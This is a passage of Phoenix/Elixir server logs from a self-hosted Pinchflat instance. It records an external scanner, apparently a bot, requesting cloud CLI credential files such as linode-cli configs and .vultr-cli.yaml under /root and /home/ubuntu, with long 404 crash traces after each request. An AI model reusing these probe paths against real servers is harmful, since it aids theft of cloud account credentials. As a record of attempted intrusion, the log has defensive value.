"x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9850.0>, params: %{}, path_info: ["home", "ubuntu", ".config", "linode-cli"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/home/ubuntu/.config/linode-cli", (truncated) 15:22:12.433 [info] GET /.linode-cli 15:22:12.433 [debug] QUERY OK source="settings" db=0.1ms idle=708.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:12.433 [debug] QUERY OK source="settings" db=0.0ms idle=474.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:12.433 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:12.433 [error] #PID<0.9852.0> running PinchflatWeb.Endpoint (connection #PID<0.9851.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.linode-cli ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9851.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.linode-cli", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55142}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9852.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.linode-cli", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCM7xdjzres8AAIpD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9851.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.linode-cli", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55142}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9851.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.linode-cli", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55142}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9852.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.linode-cli", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCM7xdjzres8AAIpD"} ], scheme: :http, script (truncated) 15:22:12.670 [info] GET /root/.vultr-cli.yaml 15:22:12.670 [debug] QUERY OK source="settings" db=0.0ms idle=474.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:12.670 [debug] QUERY OK source="settings" db=0.0ms idle=474.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:12.670 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:12.670 [error] #PID<0.9854.0> running PinchflatWeb.Endpoint (connection #PID<0.9853.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /root/.vultr-cli.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /root/.vultr-cli (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9853.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/root/.vultr-cli.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55158}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9854.0>, params: %{}, path_info: ["root", ".vultr-cli"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/root/.vultr-cli.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCN0RuFx6KoQAAeFC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9853.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/root/.vultr-cli.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55158}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /root/.vultr-cli (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9853.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/root/.vultr-cli.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55158}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9854.0>, params: %{}, path_info: ["root", ".vultr-cli"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/root/.vultr-cli.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-r (truncated) 15:22:12.907 [info] GET /home/ubuntu/.vultr-cli.yaml 15:22:12.907 [debug] QUERY OK source="settings" db=0.0ms idle=474.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:12.907 [debug] QUERY OK source="settings" db=0.0ms idle=474.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:12.907 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:12.908 [error] #PID<0.9856.0> running PinchflatWeb.Endpoint (connection #PID<0.9855.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /home/ubuntu/.vultr-cli.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /home/ubuntu/.vultr-cli (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9855.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/ubuntu/.vultr-cli.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55174}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9856.0>, params: %{}, path_info: ["home", "ubuntu", ".vultr-cli"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/home/ubuntu/.vultr-cli.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCOs3MDwSwqcAAeGC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9855.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/ubuntu/.vultr-cli.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55174}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /home/ubuntu/.vultr-cli (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9855.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/ubuntu/.vultr-cli.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55174}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9856.0>, params: %{}, path_info: ["home", "ubuntu", ".vultr-cli"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/home/ubuntu/.vultr-cli.yaml", resp_body: nil, resp_cookies: %{}, (truncated) 15:22:13.145 [info] GET /.vultr-cli.yaml 15:22:13.145 [debug] QUERY OK source="settings" db=0.1ms idle=613.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:13.146 [debug] QUERY OK source="settings" db=0.0ms idle=475.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:13.146 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:13.146 [error] #PID<0.9858.0> running PinchflatWeb.Endpoint (connection #PID<0.9857.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.vultr-cli.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vultr-cli (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9857.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vultr-cli.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55182}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9858.0>, params: %{}, path_info: [".vultr-cli"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.vultr-cli.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCPlqYGXsAe8AAeHC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9857.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vultr-cli.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55182}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", 